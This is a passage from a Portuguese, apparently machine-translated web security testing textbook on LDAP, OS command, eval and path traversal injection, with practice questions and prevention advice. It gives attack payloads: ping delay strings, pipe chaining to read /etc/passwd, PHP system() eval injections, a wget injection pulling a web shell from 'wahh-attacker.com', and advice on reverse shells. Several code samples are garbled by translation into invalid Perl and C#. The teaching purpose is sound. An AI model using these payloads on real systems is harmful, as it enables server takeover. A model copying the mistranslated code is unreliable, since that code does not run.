Se for necessário inserir dados fornecidos pelo usuário em uma consulta LDAP, essa operação deverá ser realizada somente em itens simples de dados que possam ser submetidos a uma validação rigorosa de entrada. A entrada do usuário deve ser verificada em relação a uma lista branca de caracteres aceitáveis, que, idealmente, deve incluir apenas caracteres alfanuméricos. Os caracteres que podem ser usados para interferir na consulta LDAP devem ser bloqueados, incluindo `(` `)` `;` `,` `*` `|` `&` `=` e o byte nulo. Qualquer entrada que não corresponda à lista branca deve ser rejeitada, não sanitizada.

Resumo

Examinamos uma série de vulnerabilidades que permitem a injeção em armazenamentos de dados de aplicativos da Web. Essas vulnerabilidades podem permitir que você leia ou modifique dados confidenciais do aplicativo, execute outras ações não autorizadas ou subverta a lógica do aplicativo para atingir um objetivo.

Por mais graves que sejam esses ataques, eles são apenas parte de uma gama mais ampla de ataques que envolvem a injeção em contextos interpretados. Outros ataques dessa categoria podem permitir a execução de comandos no sistema operacional do servidor, a recuperação de arquivos arbitrários e a interferência em outros componentes de back-end. O próximo capítulo examina esses e outros ataques. Ele analisa como as vulnerabilidades em um aplicativo Web podem levar ao comprometimento de partes importantes da infraestrutura mais ampla que dá suporte ao aplicativo.

Perguntas

As respostas podem ser encontradas em http://mdsec.net/wahh.

1. Você está tentando explorar uma falha de injeção de SQL executando um ataque `UNION` para recuperar dados. Você não sabe quantas colunas a consulta original retorna. Como você pode descobrir isso?

2. Você localizou uma vulnerabilidade de injeção de SQL em um parâmetro de string. Você acredita que o banco de dados seja MS-SQL ou Oracle, mas não consegue recuperar nenhum dado ou mensagem de erro para confirmar qual banco de dados está em execução. Como você pode descobrir isso?
3. Você enviou uma única aspa em vários locais ao longo do aplicativo. Com base nas mensagens de erro resultantes, você diagnosticou várias falhas potenciais de injeção de SQL. Qual dos seguintes seria o local mais seguro para testar se uma entrada mais elaborada tem efeito sobre o processamento do aplicativo?
   (a) Registro de um novo usuário
   (b) Atualização de seus dados pessoais
   (c) Cancelar a assinatura do serviço
4. Você encontrou uma vulnerabilidade de injeção de SQL em uma função de login e tenta usar a entrada `' ou 1=1--` para contornar o login. Seu ataque falha e a mensagem de erro resultante indica que os caracteres `--` estão sendo removidos pelos filtros de entrada do aplicativo. Como você poderia contornar esse problema?
5. Você encontrou uma vulnerabilidade de injeção de SQL, mas não conseguiu realizar nenhum ataque útil, porque o aplicativo rejeita qualquer entrada que contenha espaço em branco. Como você pode contornar essa restrição?
6. O aplicativo está duplicando todas as aspas simples na entrada do usuário antes de serem incorporadas às consultas SQL. Você encontrou uma vulnerabilidade de injeção de SQL em um campo numérico, mas precisa usar um valor de string em uma de suas cargas de ataque. Como você pode colocar uma string em sua consulta sem usar aspas?
7. Em algumas situações raras, os aplicativos constroem consultas SQL dinâmicas a partir da entrada fornecida pelo usuário de uma forma que não pode ser protegida usando consultas parametrizadas. Quando isso ocorre?
8. Você aumentou os privilégios em um aplicativo de modo que agora tem acesso administrativo total. Você descobre uma vulnerabilidade de injeção de SQL em uma função de administração de usuário. Como você pode aproveitar essa vulnerabilidade para avançar ainda mais em seu ataque?
9. Você está atacando um aplicativo que não contém dados confidenciais nem mecanismos de autenticação ou controle de acesso. Nessa situação, como você deve classificar a importância das seguintes vulnerabilidades?
   (a) Injeção de SQL
   (b) Injeção de XPath
   (c) Injeção de comando do sistema operacional

10. Você está sondando uma função de aplicativo que permite pesquisar detalhes pessoais. Você suspeita que a função esteja acessando um banco de dados ou um back-end do Active Directory. Como você poderia tentar determinar qual dos dois é o caso?

CAPÍTULO

10

Atacando o back-end Componentes

Os aplicativos da Web são ofertas cada vez mais complexas. Frequentemente, eles funcionam como a interface voltada para a Internet para uma variedade de recursos essenciais aos negócios no back-end, incluindo recursos de rede, como serviços da Web, servidores da Web de back-end, servidores de e-mail e recursos locais, como sistemas de arquivos e interfaces para o sistema operacional. Frequentemente, o servidor de aplicativos também atua como uma camada de controle de acesso discricionário para esses componentes de back-end. Qualquer ataque bem-sucedido que possa realizar uma interação arbitrária com um componente de back-end pode violar todo o modelo de controle de acesso aplicado pelo aplicativo da Web, permitindo o acesso não autorizado a dados e funcionalidades confidenciais.

Quando os dados são passados de um componente para outro, eles são interpretados por diferentes conjuntos de APIs e interfaces. Os dados que são considerados "seguros" pelo aplicativo principal podem ser extremamente inseguros no componente de repasse, que pode oferecer suporte a diferentes codificações, caracteres de escape, delimitadores de campo ou terminadores de cadeia de caracteres. Além disso, o componente de continuação pode ter muito mais funcionalidades do que as que o aplicativo normalmente invoca. Um invasor que explora uma vulnerabilidade de injeção pode, muitas vezes, ir além da simples quebra do controle de acesso do aplicativo. Ele pode explorar a funcionalidade adicional suportada pelo componente de back-end para comprometer partes importantes da infraestrutura da organização.

Injeção de comandos do sistema operacional

A maioria das plataformas de servidor da Web evoluiu a ponto de existirem APIs integradas para realizar praticamente qualquer interação necessária com o sistema operacional do servidor. Usadas adequadamente, essas APIs podem permitir que os desenvolvedores acessem o sistema de arquivos, façam interface com outros processos e realizem comunicações de rede de forma segura. No entanto, há muitas situações em que os desenvolvedores optam por usar a técnica mais pesada de emitir comandos do sistema operacional diretamente para o servidor. Essa opção pode ser atraente devido à sua potência e simplicidade e, muitas vezes, oferece uma solução imediata e funcional para um problema específico. No entanto, se o aplicativo passar a entrada fornecida pelo usuário para os comandos do sistema operacional, ele poderá ficar vulnerável à injeção de comandos, permitindo que um invasor envie uma entrada criada que modifique os comandos que os desenvolvedores pretendiam executar.

As funções comumente usadas para emitir comandos do sistema operacional, como `exec` em PHP e `wscript.shell` em ASP, não impõem nenhuma restrição ao escopo dos comandos que podem ser executados. Mesmo que um desenvolvedor pretenda usar uma API para executar uma tarefa relativamente benigna, como listar o conteúdo de um diretório, um invasor poderá subvertê-la para gravar arquivos arbitrários ou iniciar outros programas. Quaisquer comandos injetados geralmente são executados no contexto de segurança do processo do servidor Web, que geralmente é suficientemente poderoso para que um invasor comprometa todo o servidor.

Falhas de injeção de comando desse tipo surgiram em vários aplicativos da Web prontos para uso e personalizados. Elas têm sido particularmente predominantes em aplicativos que fornecem uma interface administrativa para um servidor corporativo ou para dispositivos como firewalls, impressoras e roteadores. Esses aplicativos geralmente têm requisitos específicos de interação com o sistema operacional que levam os desenvolvedores a usar comandos diretos que incorporam dados fornecidos pelo usuário.

Exemplo 1: injetando via Perl

Considere o seguinte código Perl CGI, que faz parte de um aplicativo da Web para administração de servidores. Essa função permite que os administradores especifiquem um diretório no servidor e visualizem um resumo do uso do disco:

```
#!/usr/bin/perl
use strict;
use CGI qw(:standard escapeHTML);
imprima cabeçalho, start_html("");
imprima "<pre>";

my $command = "du -h --exclude php* /var/www/html";
$command= $command.param("dir");
$command=`$command`;
```

```
print "$command\n";

print end_html;
```

Quando usado como pretendido, esse script simplesmente anexa o valor da variável user-
fornece o parâmetro `dir` ao final de um comando predefinido, executa o comando e exibe os resultados, conforme mostrado na Figura 10-1.

Figura 10-1: Uma função simples de aplicativo para listar o conteúdo de um diretório

Essa funcionalidade pode ser explorada de várias maneiras, fornecendo entradas criadas contendo metacaracteres do shell. Esses caracteres têm um significado especial para o interpretador que processa o comando e podem ser usados para interferir no comando que o desenvolvedor pretendia executar. Por exemplo, o caractere pipe (`|`) é usado para redirecionar a saída de um processo para a entrada de outro, permitindo que vários comandos sejam encadeados. Um invasor pode aproveitar esse comportamento para injetar um segundo comando e recuperar sua saída, conforme mostrado na Figura 10-2.

Aqui, a saída do comando `du` original foi redirecionada como entrada para o comando `cat/etc/passwd`. Esse comando simplesmente ignora a entrada e executa sua única tarefa de gerar o conteúdo do arquivo `passwd`.

Um ataque tão simples como esse pode parecer improvável; no entanto, exatamente esse tipo de injeção de comando foi encontrado em vários produtos comerciais. Por exemplo, descobriu-se que o HP OpenView era vulnerável a uma falha de injeção de comando no seguinte URL:

```
https://target:3443/OvCgi/connectedNodes.ovpl?node=a| [seu comando] |
```

Figura 10-2: Um ataque bem-sucedido de injeção de comando

Exemplo 2: injetando via ASP

Considere o seguinte código C#, que faz parte de um aplicativo da Web para administração de um servidor da Web. A função permite que os administradores visualizem o conteúdo de um diretório solicitado:

```
string dirName = "C:\\filestore\\" + Directory.Text; ProcessStartInfo
psInfo = new ProcessStartInfo("cmd", "/c dir " + dirName);
...
Processo proc = Process.Start(psInfo);
```

Quando usado como pretendido, esse script insere o valor do parâmetro `Directory` fornecido pelo usuário em um comando predefinido, executa o comando e exibe os resultados, conforme mostrado na Figura 10-3.

Assim como no script Perl vulnerável, um invasor pode usar metacaracteres do shell para interferir no comando predefinido pretendido pelo desenvolvedor e injetar seu próprio comando. O caractere E comercial (&) é usado para agrupar vários comandos. Fornecer um nome de arquivo contendo o caractere E comercial e um segundo comando faz com que esse comando seja executado e seus resultados exibidos, conforme mostrado na Figura 10-4.

Figura 10-3: Uma função para listar o conteúdo de um diretório

Figura 10-4: Um ataque bem-sucedido de injeção de comando

EXPERIMENTE!

```
http://mdsec.net/admin/5/
http://mdsec.net/admin/9/
http://mdsec.net/admin/14/
```

Injeção por meio de execução dinâmica

Muitas linguagens de script da Web suportam a execução dinâmica de código que é gerado em tempo de execução. Esse recurso permite que os desenvolvedores criem aplicativos que modificam dinamicamente seu próprio código em resposta a vários dados e condições. Se a entrada do usuário for incorporada ao código que é executado dinamicamente, um invasor poderá fornecer uma entrada criada que sai do contexto de dados pretendido e especifica comandos que são executados no servidor da mesma forma como se tivessem sido escritos pelo desenvolvedor original. O primeiro alvo de um invasor nesse ponto geralmente é injetar uma API que executa comandos do sistema operacional.

A função `eval` do PHP é usada para executar dinamicamente o código que é passado para a função em tempo de execução. Considere uma função de pesquisa que permite aos usuários criar pesquisas armazenadas que são geradas dinamicamente como links na interface do usuário. Quando os usuários acessam a função de pesquisa, eles usam um URL como o seguinte:

```
/search.php?storedsearch=\$mysearch%3dwahh
```

O aplicativo no lado do servidor implementa essa funcionalidade gerando dinamicamente variáveis que contêm os pares de nome/valor especificados no parâmetro `de pesquisa armazenado`, nesse caso criando uma variável `mysearch` com o valor `wahh`:

```
$storedsearch = $_GET['storedsearch'];
eval("$storedsearch;");
```

Nessa situação, você pode enviar entradas criadas que são executadas dinamicamente pela função `eval`, resultando na injeção de comandos PHP arbitrários no aplicativo do lado do servidor. O caractere ponto e vírgula pode ser usado para agrupar comandos em um único parâmetro. Por exemplo, para recuperar o conteúdo do arquivo `/etc/password`, você poderia usar o comando `file_get_contents` ou `system`:

```
/search.php?storedsearch=\$mysearch%3dwahh;%20echo%20file_get
_contents('/etc/passwd')
/search.php?storedsearch=\$mysearch%3dwahh;%20system('cat%20/etc/ passwd')
```

OBSERVAÇÃO A linguagem Perl também contém uma função **`eval`** que pode ser explorada da mesma forma. Observe que o caractere ponto-e-vírgula pode precisar ser codificado por URL (como **`%3b`**) porque alguns analisadores de script CGI o interpretam como um delimitador de parâmetro. No ASP clássico, **`Execute()`** desempenha uma função semelhante.

Identificação de falhas de injeção de comandos do sistema operacional

Nos exercícios de mapeamento de aplicativos (consulte o Capítulo 4), você deve ter identificado todas as instâncias em que o aplicativo Web parece estar interagindo com o sistema operacional subjacente, chamando processos externos ou acessando o sistema de arquivos. Você deve investigar todas essas funções, procurando falhas de injeção de comandos. Na verdade, porém, o aplicativo pode emitir comandos do sistema operacional contendo absolutamente qualquer item de dados fornecidos pelo usuário, inclusive cada parâmetro de URL e corpo e cada cookie. Para realizar um teste completo do aplicativo, você precisa, portanto, visar todos esses itens em cada função do aplicativo. Diferentes intérpretes de comandos tratam os metacaracteres do shell de maneiras diferentes. Em princípio, qualquer tipo de plataforma de desenvolvimento de aplicativos ou servidor da Web pode chamar qualquer tipo de interpretador de shell, executado em seu próprio sistema operacional ou no de qualquer outro host. Portanto, você não deve fazer nenhuma suposição sobre o tratamento de metacaracteres pelo aplicativo com base em qualquer conhecimento do sistema operacional do servidor Web.

Dois tipos amplos de metacaracteres podem ser usados para injetar um comando separado em um comando predefinido existente:

- Os caracteres `;` `|` `&` e newline podem ser usados para agrupar vários comandos, um após o outro. Em alguns casos, esses caracteres podem ser duplicados com efeitos diferentes. Por exemplo, no interpretador de comandos do Windows, o uso de `&&` faz com que o segundo comando seja executado somente se o primeiro for bem-sucedido. O uso de `||` faz com que o segundo comando seja sempre executado, independentemente do sucesso do primeiro.
- O caractere de backtick (`` ` ``) pode ser usado para encapsular um comando separado em um item de dados que está sendo processado pelo comando original. A colocação de um comando injetado dentro de backticks faz com que o interpretador do shell execute o comando e substitua o texto encapsulado pelos resultados desse comando antes de continuar a executar a cadeia de comandos resultante.

Nos exemplos anteriores, era fácil verificar se a injeção de comando era possível e recuperar os resultados do comando injetado, porque esses resultados eram retornados imediatamente na resposta do aplicativo. Em muitos casos, porém, isso pode não ser possível. Você pode estar injetando em um comando que não retorna nenhum resultado e que não afeta o processamento subsequente do aplicativo de nenhuma forma identificável. Ou o método que você usou para injetar o comando escolhido pode ser tal que seus resultados sejam perdidos quando vários comandos são agrupados.

Em geral, a maneira mais confiável de detectar se a injeção de comando é possível é usar a inferência de atraso de tempo de maneira semelhante à descrita para explorar a injeção cega de SQL. Se uma possível vulnerabilidade parecer existir, você poderá usar outros métodos para confirmar isso e recuperar os resultados dos comandos injetados.

ETAPAS DO HACK

1. Normalmente, você pode usar o comando **`ping`** como um meio de acionar um atraso de tempo, fazendo com que o servidor faça ping em sua interface de loopback por um período específico. Há pequenas diferenças entre a forma como as plataformas baseadas em Windows e UNIX tratam os separadores de comando e o comando `ping`. No entanto, a seguinte cadeia de teste para todos os fins deve induzir um atraso de 30 segundos em qualquer plataforma se não houver filtragem:

   ```
   || ping -i 30 127.0.0.1 ; x || ping -n 30 127.0.0.1 &
   ```

   Para maximizar suas chances de detectar uma falha de injeção de comando se o aplicativo estiver filtrando determinados separadores de comando, você também deve submeter cada uma das cadeias de teste a seguir a cada parâmetro visado e monitorar o tempo que o aplicativo leva para responder:

   ```
   | ping -i 30 127.0.0.1
   | ping -n 30 127.0.0.1
   & ping -i 30 127.0.0.1 &
   & ping -n 30 127.0.0.1 &
   ; ping 127.0.0.1 ;
   %0a ping -i 30 127.0.0.1 %0a
   ` ping 127.0.0.1 `
   ```

2. Se ocorrer um atraso, o aplicativo poderá estar vulnerável à injeção de comandos. Repita o caso de teste várias vezes para confirmar que o atraso não foi resultado da latência da rede ou de outras anomalias. Você pode tentar alterar o valor dos parâmetros **`-n`** ou **`-i`** e confirmar se o atraso experimentado varia sistematicamente com o valor fornecido.
3. Usando qualquer uma das cadeias de injeção que foi considerada bem-sucedida, tente injetar um comando mais interessante (como **`ls`** ou **`dir`**). Determine se você pode recuperar os resultados do comando em seu navegador.
4. Se não for possível recuperar os resultados diretamente, você tem outras opções:
   - Você pode tentar abrir um canal fora de banda de volta ao seu computador. Tente usar o TFTP para copiar ferramentas para o servidor, usando telnet ou netcat para criar um shell reverso de volta ao seu computador e usando o **`comando de correio`** para enviar a saída do comando via SMTP.
   - Você pode redirecionar os resultados dos seus comandos para um arquivo na raiz da Web, que pode ser recuperado diretamente usando o navegador. Por exemplo:

     ```
     dir > c:\inetpub\wwwroot\foo.txt
     ```

5. Quando tiver encontrado um meio de injetar comandos e recuperar os resultados, você deverá determinar seu nível de privilégio (usando **`whoami`** ou algo semelhante, ou tentando gravar um arquivo inofensivo em um diretório protegido). Em seguida, você pode tentar aumentar os privilégios, obter acesso backdoor a dados confidenciais do aplicativo ou atacar outros hosts acessíveis a partir do servidor comprometido.

Em alguns casos, talvez não seja possível injetar um comando totalmente separado devido à filtragem dos caracteres necessários ou ao comportamento da API de comando que está sendo usada pelo aplicativo. No entanto, ainda pode ser possível interferir no comportamento do comando que está sendo executado para obter algum resultado desejado.

Em um exemplo visto pelos autores, o aplicativo passou a entrada do usuário para o comando do sistema operacional `nslookup` para encontrar o endereço IP de um nome de domínio fornecido pelo usuário. Os metacaracteres necessários para injetar novos comandos estavam sendo bloqueados, mas os caracteres < e > usados para redirecionar a entrada e a saída do comando eram permitidos. O comando `nslookup` geralmente gera o endereço IP de um nome de domínio, o que não parece ser um vetor de ataque eficaz. No entanto, se um nome de domínio inválido for fornecido, o comando emitirá uma mensagem de erro que inclui o nome de domínio que foi pesquisado. Esse comportamento foi suficiente para realizar um ataque sério:

- Envie um fragmento de código de script executável pelo servidor como o nome de domínio a ser resolvido. O script pode ser encapsulado entre aspas para garantir que o interpretador de comandos o trate como um único token.
- Use o caractere > para redirecionar a saída do comando para um arquivo em uma pasta executável dentro da raiz da Web. O comando executado pelo sistema operacional é o seguinte:

```
nslookup "[código do script]" > [/path/to/executable_file]
```

- Quando o comando é executado, a seguinte saída é redirecionada para o arquivo executável:

```
** O servidor não consegue encontrar [código de script]: NXDOMAIN
```

- Esse arquivo pode então ser chamado por meio de um navegador, e o código de script injetado é executado no servidor. Como a maioria das linguagens de script permite que as páginas contenham uma mistura de conteúdo do lado do cliente e marcação do lado do servidor, as partes da mensagem de erro que o invasor não controla são tratadas apenas como texto simples, e a marcação dentro do script injetado é executada. Portanto, o ataque consegue aproveitar uma condição restrita de injeção de comando para introduzir um backdoor irrestrito no servidor de aplicativos.

EXPERIMENTE!

http://mdsec.net/admin/18/

ETAPAS DO HACK

1. Os caracteres **<** e **>** são usados, respectivamente, para direcionar o conteúdo de um arquivo para a entrada do comando e para direcionar a saída do comando para um arquivo. Se não for possível usar as técnicas anteriores para injetar um comando totalmente separado, você ainda poderá ler e gravar conteúdos de arquivos arbitrários usando os caracteres **<** e >.
2. Muitos comandos do sistema operacional que os aplicativos invocam aceitam um número de parâmetros de linha de comando que controlam seu comportamento. Geralmente, a entrada fornecida pelo usuário é passada para o comando como um desses parâmetros, e você pode adicionar outros parâmetros simplesmente inserindo um espaço seguido do parâmetro relevante. Por exemplo, um aplicativo de autoria da Web pode conter uma função na qual o servidor recupera um URL especificado pelo usuário e renderiza seu conteúdo no navegador para edição. Se o aplicativo simplesmente chamar o programa **wget**, você poderá gravar conteúdo de arquivo arbitrário no sistema de arquivos do servidor anexando o parâmetro de linha de comando **-O** usado pelo **wget**. Por exemplo:

```
url=http://wahh-attacker.com/%20-O%20c:\inetpub\wwwroot\scripts\
cmdasp.asp
```

DICA Muitos ataques de injeção de comando exigem que você injete espaços para separar os argumentos da linha de comando. Se você descobrir que os espaços estão sendo filtrados pelo aplicativo e que a plataforma que está atacando é baseada em UNIX, talvez seja possível usar a variável de ambiente **$IFS**, que contém os separadores de campo de espaço em branco.

Identificação de vulnerabilidades de execução dinâmica

As vulnerabilidades de execução dinâmica surgem mais comumente em linguagens como PHP e Perl. Mas, em princípio, qualquer tipo de plataforma de aplicativo pode passar a entrada fornecida pelo usuário para um interpretador baseado em script, às vezes em um servidor back-end diferente.

ETAPAS DO HACK

1. Qualquer item de dados fornecidos pelo usuário pode ser passado para uma função de execução dinâmica. Alguns dos itens mais comumente usados dessa forma são os nomes e valores de parâmetros de cookies e dados persistentes armazenados em perfis de usuários como resultado de ações anteriores.
2. Tente enviar os seguintes valores sucessivamente como cada parâmetro direcionado:

```
;echo%20111111
echo%20111111
response.write%20111111
:response.write%20111111
```

3. Analise as respostas do aplicativo. Se a string **111111** for retornada sozinha (não for precedida pelo restante da string de comando), é provável que o aplicativo esteja vulnerável à injeção de comandos de script.
4. Se a string **111111** não for retornada, procure mensagens de erro que indiquem que a entrada está sendo executada dinamicamente e que talvez seja necessário ajustar a sintaxe para obter a injeção de comandos arbitrários.
5. Se o aplicativo que estiver atacando usar PHP, você poderá usar a string de teste **phpinfo()**, que, se for bem-sucedida, retornará os detalhes da configuração do ambiente PHP.
6. Se o aplicativo parecer vulnerável, verifique isso injetando alguns comandos que resultem em atrasos de tempo, conforme descrito anteriormente para a injeção de comandos do sistema operacional. Por exemplo:

```
system('ping%20127.0.0.1')
```

Como evitar a injeção de comandos do sistema operacional

Em geral, a melhor maneira de impedir o surgimento de falhas de injeção de comandos do sistema operacional é evitar chamar diretamente os comandos do sistema operacional. Praticamente qualquer tarefa concebível que um aplicativo da Web precise executar pode ser realizada usando APIs incorporadas que não podem ser manipuladas para executar comandos diferentes dos pretendidos.

Se for considerado inevitável incorporar dados fornecidos pelo usuário em cadeias de comando que são passadas para um interpretador de comandos do sistema operacional, o aplicativo deverá impor defesas rigorosas para evitar o surgimento de uma vulnerabilidade. Se possível, uma lista de permissões deve ser usada para restringir a entrada do usuário a um conjunto específico de valores esperados. Como alternativa, a entrada deve ser restrita a um conjunto de caracteres muito restrito, como apenas caracteres alfanuméricos. A entrada que contiver qualquer outro dado, inclusive qualquer metacaractere ou espaço em branco concebível, deve ser rejeitada.

Como uma camada adicional de proteção, o aplicativo deve usar APIs de comando que iniciam um processo específico por meio de seu nome e parâmetros de linha de comando, em vez de passar uma string de comando para um interpretador de shell que ofereça suporte a encadeamento e redirecionamento de comandos. Por exemplo, a API Java `Runtime.exec` e a API ASP.NET `Process.Start` não oferecem suporte a metacaracteres de shell. Se usados corretamente, eles podem garantir que somente o comando pretendido pelo desenvolvedor seja executado. Consulte o Capítulo 19 para obter mais detalhes sobre as APIs de execução de comandos.

Prevenção de vulnerabilidades de injeção de scripts

Em geral, a melhor maneira de evitar vulnerabilidades de injeção de script é não passar a entrada fornecida pelo usuário, ou os dados derivados dela, para qualquer execução dinâmica ou incluir funções. Se isso for considerado inevitável por algum motivo, a entrada relevante deve ser rigorosamente validada para evitar a ocorrência de qualquer ataque. Se possível, use uma lista branca de valores bons conhecidos que o aplicativo espera e rejeite qualquer entrada que não apareça nessa lista. Caso contrário, verifique os caracteres usados na entrada em relação a um conjunto conhecido como inofensivo, como caracteres alfanuméricos excluindo espaços em branco.

Manipulação de caminhos de arquivos

Muitos tipos de funcionalidade comumente encontrados em aplicativos da Web envolvem o processamento de entradas fornecidas pelo usuário como um nome de arquivo ou diretório. Normalmente, a entrada é passada para uma API que aceita um caminho de arquivo, como na recuperação de um arquivo do sistema de arquivos local. O aplicativo processa o resultado da chamada de API em sua resposta à solicitação do usuário. Se a entrada fornecida pelo usuário for validada incorretamente, esse comportamento poderá levar a várias vulnerabilidades de segurança, sendo as mais comuns os bugs de passagem de caminho de arquivo e os bugs de inclusão de arquivo.

Vulnerabilidades de passagem de caminho

As vulnerabilidades de passagem de caminho surgem quando o aplicativo usa dados controláveis pelo usuário para acessar arquivos e diretórios no servidor de aplicativos ou em outro sistema de arquivos de back-end de forma insegura. Ao enviar dados criados, um invasor pode conseguir fazer com que um conteúdo arbitrário seja lido ou gravado em qualquer lugar do sistema de arquivos que está sendo acessado. Isso geralmente permite que um invasor leia informações confidenciais do servidor ou sobrescreva arquivos confidenciais, o que acaba levando à execução arbitrária de comandos no servidor.

Considere o exemplo a seguir, no qual um aplicativo usa uma página dinâmica para retornar imagens estáticas ao cliente. O nome da imagem solicitada é especificado em um parâmetro de string de consulta:

```
http://mdsec.net/filestore/8/GetFile.ashx?filename=keira.jpg
```

Quando o servidor processa essa solicitação, ele segue estas etapas:

1. Extrai o valor do parâmetro `filename` da string de consulta.
2. Acrescenta esse valor ao prefixo `C:\filestore\`.
3. Abre o arquivo com esse nome.
4. Lê o conteúdo do arquivo e o retorna ao cliente.

A vulnerabilidade surge porque um invasor pode colocar sequências de passagem de caminho no nome do arquivo para voltar ao diretório especificado na etapa 2 e, portanto, acessar arquivos de qualquer lugar no servidor que o contexto do usuário usado pelo aplicativo tenha privilégios de acesso. A sequência de passagem de caminho é conhecida como "dot-dot-slash"; um ataque típico é semelhante a este:

```
http://mdsec.net/filestore/8/GetFile.ashx?filename=..\windows\win.ini
```

Quando o aplicativo anexa o valor do parâmetro `filename` ao nome do diretório de imagens, ele obtém o seguinte caminho:

```
C:\filestore\..\windows\win.ini
```

As duas sequências de travessia voltam efetivamente do diretório de imagens para a raiz da unidade C:, de modo que o caminho anterior é equivalente a isso:

```
C:\windows\win.ini
```

Portanto, em vez de retornar um arquivo de imagem, o servidor realmente retorna um arquivo de configuração padrão do Windows.

OBSERVAÇÃO Nas versões mais antigas do servidor da Web do Windows IIS, os aplicativos eram, por padrão, executados com privilégios de sistema local, permitindo o acesso a qualquer arquivo legível no sistema de arquivos local. Nas versões mais recentes, em comum com muitos outros servidores Web, o processo do servidor é executado por padrão em um contexto de usuário menos privilegiado. Por esse motivo, ao sondar vulnerabilidades de path traversal, é melhor solicitar um arquivo padrão que possa ser lido por qualquer tipo de usuário, como **`c:\windows\win.ini`**.

Nesse exemplo simples, o aplicativo não implementa defesas para evitar ataques de path traversal. No entanto, como esses ataques são amplamente conhecidos

Por isso, é comum encontrar aplicativos que implementam várias defesas contra eles, geralmente com base em filtros de validação de entrada. Como você verá, esses filtros geralmente são mal projetados e podem ser contornados por um invasor habilidoso.

EXPERIMENTE!

```
http://mdsec.net/filestore/8/
```

Localização e exploração de vulnerabilidades de passagem de caminho

Muitos tipos de funcionalidade exigem que um aplicativo da Web leia ou grave em um sistema de arquivos com base nos parâmetros fornecidos nas solicitações do usuário. Se essas operações forem executadas de maneira insegura, um invasor poderá enviar uma entrada criada que fará com que o aplicativo acesse arquivos que o projetista do aplicativo não pretendia que fossem acessados. Conhecidos como vulnerabilidades *de passagem de caminho*, esses defeitos podem permitir que o invasor leia dados confidenciais, incluindo senhas e registros de aplicativos, ou substitua itens essenciais à segurança, como arquivos de configuração e binários de software. Nos casos mais graves, a vulnerabilidade pode permitir que um invasor comprometa completamente o aplicativo e o sistema operacional subjacente.

Às vezes, as falhas de passagem de caminho são sutis de detectar, e muitos aplicativos da Web implementam defesas contra elas que podem ser vulneráveis a desvios. Descreveremos todas as várias técnicas de que você precisará, desde a identificação de possíveis alvos até a sondagem de comportamentos vulneráveis, passando por contornar as defesas do aplicativo e lidar com a codificação personalizada.

Localização de alvos para ataque

Durante o mapeamento inicial do aplicativo, você já deve ter identificado todas as áreas óbvias de superfície de ataque em relação às vulnerabilidades de passagem de caminho. Qualquer funcionalidade cuja finalidade explícita seja fazer upload ou download de arquivos deve ser testada minuciosamente. Essa funcionalidade é frequentemente encontrada em aplicativos de fluxo de trabalho em que os usuários podem compartilhar documentos, em aplicativos de blogs e leilões em que os usuários podem carregar imagens e em aplicativos informativos em que os usuários podem recuperar documentos como e-books, manuais técnicos e relatórios da empresa.

Além da funcionalidade de destino óbvia desse tipo, vários outros tipos de comportamento podem sugerir uma interação relevante com o sistema de arquivos.

ETAPAS DO HACK

1. Analise as informações coletadas durante o mapeamento de aplicativos para identificar o seguinte:
   - Qualquer instância em que um parâmetro de solicitação pareça conter o nome de um arquivo ou diretório, como **`include=main.inc`** ou **`template=/en/ sidebar`**.
   - Quaisquer funções de aplicativos cuja implementação provavelmente envolva a recuperação de dados de um sistema de arquivos do servidor (em oposição a um banco de dados back-end), como a exibição de documentos ou imagens de escritório.
2. Durante todos os testes que realizar em relação a qualquer outro tipo de vulnerabilidade, procure mensagens de erro ou outros eventos anômalos que sejam
   de interesse. Tente encontrar qualquer evidência de instâncias em que os dados fornecidos pelo usuário estejam sendo passados para APIs de arquivos ou como parâmetros para comandos do sistema operacional.

DICA Se você tiver acesso local ao aplicativo (seja em um exercício de teste de caixa branca ou porque comprometeu o sistema operacional do servidor), a identificação de alvos para o teste de passagem de caminho geralmente é simples, porque você pode monitorar todas as interações do sistema de arquivos que o aplicativo executa.

ETAPAS DO HACK

Se você tiver acesso local ao aplicativo da Web, faça o seguinte:

1. Use uma ferramenta adequada para monitorar todas as atividades do sistema de arquivos no servidor. Por exemplo, a ferramenta FileMon da SysInternals pode ser usada na plataforma Windows, as ferramentas **`ltrace/strace`** podem ser usadas no Linux e o comando **`truss`** pode ser usado no Solaris da Sun.
2. Teste cada página do aplicativo inserindo uma única cadeia de caracteres exclusiva (como **`traversaltest`**) em cada parâmetro enviado (incluindo todos os cookies, campos de cadeia de caracteres de consulta e itens de dados **`POST`**). Selecione apenas um parâmetro de cada vez e use as técnicas automatizadas descritas no Capítulo 14 para acelerar o processo.
3. Defina um filtro em sua ferramenta de monitoramento do sistema de arquivos para identificar todos os eventos do sistema de arquivos que contenham sua string de teste.
4. Se for identificado algum evento em que sua string de teste tenha sido usada ou incorporada a um nome de arquivo ou diretório, teste cada instância (conforme descrito a seguir) para determinar se ela é vulnerável a ataques de path traversal.

Detecção de vulnerabilidades de passagem de caminho

Depois de identificar os vários alvos potenciais para o teste de passagem de caminho, é necessário testar cada instância individualmente para determinar se os dados controláveis pelo usuário estão sendo passados para as operações relevantes do sistema de arquivos de maneira insegura.

Para cada parâmetro fornecido pelo usuário que está sendo testado, determine se as sequências transversais estão sendo bloqueadas pelo aplicativo ou se funcionam conforme o esperado. Um teste inicial que geralmente é confiável é enviar sequências de travessia de uma forma que não envolva voltar acima do diretório inicial.

ETAPAS DO HACK

1. Partindo do pressuposto de que o parâmetro que você está almejando está sendo anexado a um diretório predefinido especificado pelo aplicativo, modifique o valor do parâmetro para inserir um subdiretório arbitrário e uma única sequência de passagem. Por exemplo, se o aplicativo enviar este parâmetro:

   ```
   file=foo/file1.txt
   ```

   tente enviar esse valor:

   ```
   file=foo/bar/../file1.txt
   ```

   Se o comportamento do aplicativo for idêntico nos dois casos, ele pode ser vulnerável. Você deve prosseguir diretamente para a tentativa de acessar um arquivo diferente, passando por cima do diretório inicial.

2. Se o comportamento do aplicativo for diferente nos dois casos, ele poderá estar bloqueando, removendo ou higienizando as sequências transversais, resultando em um caminho de arquivo inválido. Você deve examinar se há alguma maneira de contornar os filtros de validação do aplicativo (descritos na próxima seção).

   O motivo pelo qual esse teste é eficaz, mesmo que o subdiretório "bar" não exista, é que os sistemas de arquivos mais comuns executam a canonização do caminho do arquivo antes de tentar recuperá-lo. A sequência de travessia pode excluir o diretório inventado, portanto o servidor não verifica se ele está presente.

